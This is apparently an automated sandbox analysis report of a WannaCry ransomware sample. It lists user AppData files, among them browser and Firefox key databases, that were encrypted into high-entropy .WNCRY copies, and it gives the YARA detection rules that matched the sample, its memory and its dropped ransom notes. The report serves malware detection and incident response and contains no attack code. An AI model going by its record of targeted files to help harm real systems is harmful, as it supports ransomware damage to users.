Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a5e39447-b6a3-49d2-bea7-436a496a2204}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99541190456	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e4fc45bb-0848-413b-88ce-70c789eb040f}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99505730434	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appsconversions.txt.WNCRY (copy) entropy: 7.99987543829	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appsglobals.txt.WNCRY (copy) entropy: 7.99944423494	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appssynonyms.txt.WNCRY (copy) entropy: 7.99941328462	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingsconversions.txt.WNCRY (copy) entropy: 7.9996740119	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingsglobals.txt.WNCRY (copy) entropy: 7.99604416303	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99831474592	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2f653c34-93d5-49fe-923d-7a89486b82d4}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99920590954	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{3c1df65b-e1b4-4534-b489-7dfc2f9d79b4}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99914562053	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517910591508756.txt.WNCRY (copy) entropy: 7.99820427866	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517910684731081.txt.WNCRY (copy) entropy: 7.9983898575	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133724977409828784.txt.WNCRY (copy) entropy: 7.99853138043	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133724977709856709.txt.WNCRY (copy) entropy: 7.99814927079	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99972687594	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy) entropy: 7.99983614804	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy) entropy: 7.99627898208	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy) entropy: 7.99350688259	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy) entropy: 7.99008003938	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy) entropy: 7.99115210426	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy) entropy: 7.99555726501	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy) entropy: 7.99147406338	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRY (copy) entropy: 7.99765602559	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy) entropy: 7.99985055088	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy) entropy: 7.99981592682	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy) entropy: 7.99981704652	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy) entropy: 7.99989065799	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy) entropy: 7.99770282325	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy) entropy: 7.99982358503	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy) entropy: 7.99996805056	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy) entropy: 7.99946063954	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy) entropy: 7.9999114694	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy) entropy: 7.99318256794	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy) entropy: 7.99988202239	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy) entropy: 7.99993659258	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy) entropy: 7.99978173165	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy) entropy: 7.99947247013	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy) entropy: 7.999665421	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy) entropy: 7.99945924919	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy) entropy: 7.99962405057	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy) entropy: 7.99985609024	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy) entropy: 7.99830908732	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy) entropy: 7.99232234311	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy) entropy: 7.99344735166	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy) entropy: 7.99216786916	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRY (copy) entropy: 7.99029985807	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0F504D63-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99946936059	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy) entropy: 7.99844297585	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy) entropy: 7.99807296027	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy) entropy: 7.99984409515	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy) entropy: 7.99994586397	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy) entropy: 7.99992276638	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy) entropy: 7.9999175225	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy) entropy: 7.99709204301	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy) entropy: 7.99981831829	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy) entropy: 7.9998268972	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy) entropy: 7.99984567629	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy) entropy: 7.99984252764	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy) entropy: 7.99995861671	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy) entropy: 7.9946792705	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\96LGQ1XY\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy) entropy: 7.99910031659	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GO30WR0E\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy) entropy: 7.99960802813	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NB937L4Q\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRY (copy) entropy: 7.99433722605	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy) entropy: 7.99981528995	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1MHJ0V8H\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRY (copy) entropy: 7.99778880267	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1MHJ0V8H\pwa-bundle-3a99f64809c6780df035[1].js.WNCRY (copy) entropy: 7.99986040046	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\otel-logger-104bffe9378b8041455c[1].js.WNCRY (copy) entropy: 7.99808331347	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRY (copy) entropy: 7.99566898059	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRY (copy) entropy: 7.99536853058	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRY (copy) entropy: 7.99973074517	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRY (copy) entropy: 7.99166155463	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\sharedscripts-939520eada[1].js.WNCRY (copy) entropy: 7.99664912454	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\5HU7WKQ3\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRY (copy) entropy: 7.99560382737	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DIYKGEYO\microsoft-365-logo-01d5ecd01a[1].png.WNCRY (copy) entropy: 7.99229793401	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99988221311	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99986479978	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRY (copy) entropy: 7.99852740324	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRY (copy) entropy: 7.99672025624	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRY (copy) entropy: 7.9960897084	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy) entropy: 7.99294532494	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRY (copy) entropy: 7.99565098819	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy) entropy: 7.99861120761	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\D-oNnp40DqC4OQCR13oBZlsQ7cc.br[1].js.WNCRY (copy) entropy: 7.99035316616	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRY (copy) entropy: 7.99850339692	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRY (copy) entropy: 7.99603172429	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRY (copy) entropy: 7.99987969309	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRY (copy) entropy: 7.99746672381	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRY (copy) entropy: 7.9995860221	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRY (copy) entropy: 7.99745394441	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRY (copy) entropy: 7.99945523185	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRY (copy) entropy: 7.99842479811	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRY (copy) entropy: 7.99935784044	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRY (copy) entropy: 7.99910287575	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRY (copy) entropy: 7.99908198938	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\u9BHPK6Ysm_7E45ERhG9lu3epIw.br[1].js.WNCRY (copy) entropy: 7.99685924211	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRY (copy) entropy: 7.99968258653	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRY (copy) entropy: 7.99851960536	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRY (copy) entropy: 7.99886322641	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRY (copy) entropy: 7.99818001682	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\1J0BS9YB\Dm5sMNO8Bp1gDqDK-DbxdfDD0W4[1].js.WNCRY (copy) entropy: 7.99658945458	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\VR1R6S8L\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy) entropy: 7.99211679504	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99986745137	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRY (copy) entropy: 7.99989916794	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy) entropy: 7.99835456706	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy) entropy: 7.99846396416	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cert9.db.WNCRY (copy) entropy: 7.99925338246	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\key4.db.WNCRY (copy) entropy: 7.99934431331	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Temp\39.WNCRYT (copy) entropy: 7.99939462751	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Temp\73.WNCRYT (copy) entropy: 7.99932285811	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: WannaCry.bin, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: WannaCry.bin, type: SAMPLE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: WannaCry.bin, type: SAMPLE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 0000000F.00000000.1444934334.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\Desktop\r.wnry, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
